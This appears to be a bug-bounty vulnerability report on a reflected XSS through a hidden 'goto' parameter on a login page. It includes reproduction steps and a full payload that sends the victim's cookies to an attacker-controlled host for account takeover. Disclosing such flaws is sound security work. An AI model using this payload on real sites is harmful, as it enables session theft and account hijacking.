Summary

A reflected XSS vulnerability exists on /login.php using the hidden goto parameter.

Description

There is a reflected XSS on the /login.php endpoint using the hidden goto parameter, which leads to account takeover.

Steps to reproduce

1. The goto paramater was a hidden parameter found in Version 1. When used on the login.php endpoint it is reflected in the HTML source code:

2. Go to /login.php and log in as an existing user.
3. Go to the following endpoint and observe that the XSS payload redirects the user to an attackers site and leaks the cookies in the URL:

   /login.php?goto=xyz%22%20autofocus%20onfocusin=%22window.location.href=`http://attacker.com/?${document.cookie}`%22%3E

Impact

An attacker can craft a malicious link to send to a user. If the user is already aythenitcated, the link can send the users cookies to the attacker via an open redirect and then take over the users account.